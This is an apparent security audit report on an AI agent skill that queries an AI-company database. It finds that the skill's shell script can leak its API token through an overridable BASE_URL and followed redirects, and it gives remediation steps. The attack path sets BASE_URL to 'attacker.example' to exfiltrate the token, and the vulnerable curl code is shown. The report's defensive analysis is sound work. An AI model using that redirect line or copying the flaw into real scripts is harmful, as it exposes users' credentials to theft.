AI 企业画像

• Outcome: Review
• Latest audit: Sep 15, 2026 · 1:26 AM UTC
• Version: 0.2.0

Overview

The skill mostly matches its AI company research purpose, but its API script can send the configured token to an overridden or redirected endpoint.

Review this skill before installing if you will use a real JQZX_API_TOKEN. Keep BASE_URL unset unless you fully trust the endpoint, avoid running it in environments where others can control variables, and consider removing redirect following or validating the destination host before sending credentials.

A.I.G

Vulnerability Patterns

• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally

Findings (1)

T09 · Insecure Skill Coding Practices

Warning

• Location: scripts/query_enterprises.sh:4

Finding

API Token Disclosure Through an Unrestricted Base URL and Cross-Origin Redirects

Content

View full analysis

Vulnerability Details

File Location: scripts/query_enterprises.sh, lines 4 and 157-161
Vulnerability Type: Credential exfiltration through an attacker-controlled destination or HTTP redirect
Risk Level: Medium

Vulnerable Code

bash

BASE_URL="${BASE_URL:-https://mcp.applications.jiqizhixin.com}"

bash

curl -sS --location --request POST "${BASE_URL%/}/api/v1/enterprises" \
  --header "X-MCP-TOKEN: ${API_TOKEN_FROM_ENV}" \
  --header "Content-Type: application/json" \
  --data "${BODY}"

Technical Analysis

The script permits BASE_URL to be overridden by an environment variable and then sends the secret JQZX_API_TOKEN to that destination in the custom X-MCP-TOKEN header. It performs no scheme or hostname validation before transmitting the credential.

An attacker who can influence the execution environment can set BASE_URL to an attacker-operated HTTPS endpoint. Invoking the otherwise legitimate script then directly discloses the API token to that endpoint.

In addition, curl --location automatically follows HTTP redirects. A custom authentication header such as X-MCP-TOKEN may be retained across redirect requests, including redirects to another origin, depending on curl behavior and version. Consequently, a compromised, misconfigured, or malicious API endpoint could redirect the request to an attacker-controlled host and cause the token to be disclosed there.

JSON body construction uses jq, so the query arguments do not create shell-command injection in the reviewed implementation. The security issue is specifically the unrestricted credential destination and redirect behavior.

Attack Path

Environment-variable attack path:

1. The victim configures a valid JQZX_API_TOKEN.
2. An attacker influences the shell, wrapper, CI job, agent environment, or invocation configuration and defines:

   bash

   export BASE_URL="https://attacker.example"
   

...[truncated 1549 chars]

Remediation

View remediation

Remediation Suggestions

1. Remove the production BASE_URL override unless it is operationally necessary:

   bash

   readonly BASE_URL="https://mcp.applications.jiqizhixin.com"
   

2. If endpoint overrides are required for testing, validate the parsed URL before sending credentials. Require HTTPS and an explicit hostname allowlist:

   bash

   case "$BASE_URL" in
     "https://mcp.applications.jiqizhixin.com")
       ;;
     *)
       echo "Refusing to send credentials to an untrusted API endpoint" >&2
       exit 1
       ;;
   esac
   

3. Disable redirects for authenticated API requests by removing --location. If redirects are operationally required, handle them explicitly and only follow redirects whose scheme and hostname match the approved origin.

4. Do not rely solely on curl's version-dependent treatment of sensitive headers. Ensure the token header is attached only after destination validation and never reused for a cross-origin request.

5. In CI and agent environments, prevent untrusted jobs, skill inputs, or wrapper scripts from modifying endpoint-related environment variables.

6. Rotate any token that may have been used while BASE_URL was controlled by an untrusted party or while the endpoint returned unverified redirects. Review API logs for anomalous token use.

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• MCP Least Privilege: Underdeclared Capability, Wildcard Permission, Missing Permission Declaration
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code

Findings (7)

Undeclared Tool Scope

Medium

• Category: MCP Least Privilege
• Confidence: 90% confidence

Finding

The skill declares shell-capable behavior via its script and required binaries (curl, jq) but does not define any explicit tool scope such as permissions or allowed-tools. This creates an authorization gap where an agent may invoke shell or networked actions more broadly than intended, increasing the risk of command execution or data exfiltration if the skill is triggered in an unsafe context.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 84% confidence

Finding

The description is written as a hard requirement in Chinese and states that AI-industry-related questions must prioritize this skill. This creates a natural-language policy concern because the skill imposes a specific language/interaction mode without any user opt-in or alternative locale choice.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 93% confidence

Finding

The entire skill reference is written only in Chinese, including the title and operational guidance, with no indication that another language is supported or that Chinese is required for a region-specific compliance or product reason. This can violate a language/locale policy when users are not given an opt-in or alternative language.

Content

No source excerpt is available for this finding.

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 70% confidence

Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/query_enterprises.sh (reported line 158)May include surrounding context.

sh

| if $sortOrder == "" then . else .sort_order = $sortOrder end
  ')"

curl -sS --location --request POST "${BASE_URL%/}/api/v1/enterprises" \
  --header "X-MCP-TOKEN: ${API_TOKEN_FROM_ENV}" \
  --header "Content-Type: application/json" \
  --data "${BODY}"

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 88% confidence

Finding

This code performs a network POST request and includes both user-supplied query parameters and a credential-bearing header, but the script provides no explicit warning, confirmation, or descriptive comment about sending data to a remote service. The earlier environment-variable check only verifies presence of the token and does not disclose that the user's inputs and token will be transmitted.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

• Category: Not specified by scanner
• Confidence: 93% confidence

Finding

This markdown reference forces a specific language/locale in its natural-language instructions and taxonomy labels, which can conflict with an organizational policy requiring language choice or user opt-in. The file does not indicate that Chinese is optional, configurable, or required for a region-specific purpose.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

• Category: Not specified by scanner
• Confidence: 94% confidence

Finding

The script's visible status and error messages are written only in Chinese, with no option for users to select another language and no documentation in the file justifying a Chinese-only locale. That creates a natural-language policy concern when language choice is enforced without opt-in.

Content

No source excerpt is available for this finding.